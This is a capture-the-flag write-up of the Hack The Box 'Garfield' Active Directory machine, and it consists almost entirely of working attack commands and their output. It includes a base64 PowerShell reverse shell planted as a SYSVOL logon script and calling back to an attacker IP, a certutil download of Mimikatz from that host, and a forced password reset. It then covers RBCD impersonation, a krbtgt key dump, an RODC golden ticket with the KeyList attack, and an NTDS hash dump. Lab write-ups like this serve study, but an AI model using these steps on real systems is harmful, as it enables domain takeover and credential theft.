Garfield
IP: 10.129.29.182 | Domain: garfield.htb
Environment Setup
export TARGET=10.129.29.182
export USER=j.arbuckle
export PASSWD='Th1sD4mnC4t!@1978'
export DOMAIN=garfield.htb
export DC=DC01.garfield.htb
export ATTACKER_IP=10.10.16.111
echo "$TARGET garfield.htb DC01.garfield.htb" | sudo tee -a /etc/hosts
Step 1 — Port Scanning
Why: Map the attack surface. Open ports and services reveal available attack angles.
nmap -sCV -p- --min-rate 5000 $TARGET
Output:
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
2179/tcp open vmrdp
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
Key findings:
- Confirmed Domain Controller — Kerberos (88), LDAP (389/636/3268), DNS (53)
- WinRM (5985) open — useful if valid credentials obtained
- RDP (3389) open — potential lateral movement vector
- Clock skew present — Kerberos operations may require time sync
Step 2 — Initial Access Validation
Why: Validate the provided credentials and enumerate accessible shares before deeper enumeration.
nxc smb $TARGET -u $USER -p $PASSWD --shares
Output:
SMB DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
Share Permissions
IPC$ READ
NETLOGON READ
SYSVOL READ
Key findings:
- Credentials valid — SMB authentication successful
- SYSVOL and NETLOGON readable — scripts folder accessible
- WinRM access denied — j.arbuckle not in Remote Management Users
Step 3 — ACL Enumeration
Why: With valid credentials we enumerate writable AD objects to identify ACL-based attack paths.
bloodyAD --host $DC -u $USER -p $PASSWD get writable --detail
Key findings:
CN=Liz Wilson→scriptPath: WRITECN=Liz Wilson ADM→scriptPath: WRITE- j.arbuckle can modify the logon script path for both l.wilson accounts
Step 4 — BloodHound Enumeration
Why: BloodHound maps the full AD attack graph and reveals privilege escalation paths that manual enumeration might miss.
bloodhound-python -c All -u $USER -p $PASSWD -d $DOMAIN -ns $TARGET --zip
Key findings:
- j.arbuckle → member of IT SUPPORT
- l.wilson → can reset password of l.wilson_adm
- l.wilson_adm → can add self to RODC Administrators
- RODC01 → trusted for constrained delegation
Step 5 — Exploit scriptPath via SYSVOL
Why: j.arbuckle has WriteProperty on l.wilson's scriptPath attribute. Logon scripts in SYSVOL run automatically when the user authenticates. We replace the existing batch file with a reverse shell.
Generate base64 PowerShell payload:
echo '$client = New-Object System.Net.Sockets.TCPClient("'$ATTACKER_IP'",9001);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback=(iex $data 2>&1|Out-String);
$sendback2=$sendback+"PS "+(pwd).Path+"> ";
$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};
$client.Close()' | iconv -t UTF-16LE | base64 -w0
Build and upload printerDetect.bat:
cat > /tmp/printerDetect.bat << 'EOF'
@echo off
powershell -NoP -NonI -W Hidden -Exec Bypass -Enc <BASE64_PAYLOAD>
EOF
smbclient //$TARGET/SYSVOL -U "$DOMAIN/$USER%$PASSWD" \
-c "put /tmp/printerDetect.bat garfield.htb/scripts/printerDetect.bat"
Set scriptPath on l.wilson:
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASSWD \
set object "CN=Liz Wilson,CN=Users,DC=garfield,DC=htb" scriptPath -v printerDetect.bat
Start listener and catch shell:
nc -lvnp 9001
Output:
connect to [10.10.16.111] from (UNKNOWN) [10.129.29.182]
whoami
garfield\l.wilson
hostname
DC01
Code execution as garfield\l.wilson on DC01 confirmed.
Step 6 — Lateral Movement to l.wilson_adm
Why: BloodHound shows l.wilson can reset l.wilson_adm's password. l.wilson_adm is a privileged account with WinRM access and Tier 1 membership.
In the l.wilson reverse shell:
Set-ADAccountPassword -Identity "l.wilson_adm" `
-NewPassword (ConvertTo-SecureString 'WhoKnows123!' -AsPlainText -Force) -Reset
Validate and get shell:
nxc winrm $TARGET -u l.wilson_adm -p 'WhoKnows123!'
evil-winrm -i $TARGET -u l.wilson_adm -p 'WhoKnows123!'
Output:
WINRM DC01 [+] garfield.htb\l.wilson_adm:WhoKnows123! (Pwn3d!)
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents>
Capture user flag:
type C:\Users\l.wilson_adm\Desktop\user.txt
Step 7 — Add Self to RODC Administrators
Why: l.wilson_adm has AddSelf rights on the RODC Administrators group via Tier 1 membership. This grants control over RODC01.
Add-ADGroupMember -Identity "RODC Administrators" -Members "l.wilson_adm"
Step 8 — Ligolo-ng Pivot to RODC01
Why: RODC01 lives at 192.168.100.2 on an internal network not directly reachable from VPN. We deploy Ligolo-ng through the WinRM session on DC01.
On Kali:
sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
sudo ./proxy -selfcert -laddr 0.0.0.0:11601
In evil-winrm on DC01:
upload agent.exe
.\agent.exe -connect 10.10.16.111:11601 -ignore-cert
Add route on Kali:
sudo ip route add 192.168.100.0/24 dev ligolo
echo "192.168.100.2 RODC01.garfield.htb" | sudo tee -a /etc/hosts
ping 192.168.100.2
Step 9 — RBCD on RODC01
Why: l.wilson_adm has AccountRestrictions write on RODC01. We create a fake machine account and configure RBCD to allow S4U2Proxy impersonation against RODC01.
Create fake machine account:
addcomputer.py -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' \
-dc-host $DC -domain-netbios $DOMAIN $DOMAIN/l.wilson_adm:'WhoKnows123!'
Set RBCD:
rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'RODC01$' \
-action 'write' $DOMAIN/l.wilson_adm:'WhoKnows123!' -dc-host $DC
Get service ticket impersonating Administrator:
getST.py -spn 'cifs/RODC01.garfield.htb' -impersonate 'Administrator' \
'garfield.htb/attackersystem$:Summer2018!' -dc-ip $DC
export KRB5CCNAME=Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache
PSExec to RODC01:
psexec.py -k RODC01.garfield.htb -dc-ip $TARGET
Output:
C:\Windows\system32> whoami
nt authority\system
hostname: RODC01
Step 10 — Dump krbtgt_8245 AES256 Key
Why: RODC01 holds its own krbtgt account (krbtgt_8245). This key is used to forge RODC-specific Golden Tickets for the KeyList attack.
Serve and download Mimikatz:
# On Kali
python3 -m http.server 80
# On RODC01
certutil -split -urlcache -f http://10.10.16.111/mimikatz.exe C:\Windows\Temp\mimikatz.exe
Dump the RODC krbtgt key:
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt_8245
Output:
aes256_hmac (4096) : d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240
Critical values:
- AES256:
d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 - Domain SID:
S-1-5-21-2502726253-3859040611-225969357 - RODC number:
8245
Step 11 — Modify RODC Replication Policy
Why: By default, the Denied RODC Password Replication Group blocks Administrator's credentials from being cached. We remove this restriction and explicitly allow Administrator before the KeyList attack.
bloodyAD --host $DC -d $DOMAIN -u l.wilson_adm -p 'WhoKnows123!' \
set object "CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb" msDS-NeverRevealGroup \
-v "CN=Account Operators,CN=Builtin,DC=garfield,DC=htb" \
-v "CN=Server Operators,CN=Builtin,DC=garfield,DC=htb" \
-v "CN=Backup Operators,CN=Builtin,DC=garfield,DC=htb"
bloodyAD --host $DC -d $DOMAIN -u l.wilson_adm -p 'WhoKnows123!' \
set object "CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb" msDS-RevealOnDemandGroup \
-v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb' \
-v 'CN=Administrator,CN=Users,DC=garfield,DC=htb'
Step 12 — RODC Golden Ticket + KeyList Attack
Why: The RODC Golden Ticket is forged using krbtgt_8245. The KeyList attack uses this ticket to request a real TGS from DC01, which responds with a legitimate Administrator ticket — enabling full domain compromise.
Forge RODC Golden Ticket with Rubeus:
.\Rubeus.exe golden /rodcNumber:8245 `
/aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 `
/user:Administrator /id:500 `
/domain:garfield.htb `
/sid:S-1-5-21-2502726253-3859040611-225969357 `
/outfile:'C:\ticket.kirbi' /nowrap
KeyList attack — request real Administrator ticket:
.\Rubeus.exe asktgs /enctype:aes256 /keyList `
/ticket:'C:\ticket.kirbi' `
/service:krbtgt/garfield.htb `
/dc:DC01.garfield.htb /nowrap
Convert and use the ticket on Kali:
tr -d '\r\n\t ' < /tmp/ticket.b64 | base64 -d > /tmp/ticket.kirbi
impacket-ticketConverter /tmp/ticket.kirbi /tmp/ticket.ccache
export KRB5CCNAME=/tmp/ticket.ccache
Dump NTDS:
nxc smb DC01.garfield.htb --use-kcache --ntds
Output:
[+] GARFIELD.HTB\Administrator from ccache (Pwn3d!)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee238f6debc752010428f20875b092d5:::
Step 13 — Administrator Shell and Root Flag
evil-winrm -i $TARGET -u Administrator -H 'ee238f6debc752010428f20875b092d5'
type C:\Users\Administrator\Desktop\root.txt
🏴 MACHINE PWNED — DOMAIN ADMIN ACHIEVED
Full Attack Chain
j.arbuckle (IT Support)
└─ scriptPath WRITE on l.wilson
└─ logon script abuse → reverse shell as l.wilson
└─ ForceChangePassword → l.wilson_adm
└─ evil-winrm shell
└─ AddSelf → RODC Administrators
└─ Ligolo-ng pivot → 192.168.100.0/24
└─ RBCD on RODC01 (ATTACKERSYSTEM$)
└─ S4U2Proxy → SYSTEM on RODC01
└─ Mimikatz → krbtgt_8245 AES256
└─ Modify RODC replication policy
└─ RODC Golden Ticket (Rubeus)
└─ KeyList attack → real Admin ticket
└─ NTDS dump
└─ evil-winrm as Administrator
🏴 DOMAIN ADMIN
© 0xNRG — Garfield pwned — 2026-04-15
Writeup restricted
This machine is currently active. The full writeup will be published once the box retires, in accordance with HTB's NDA policy.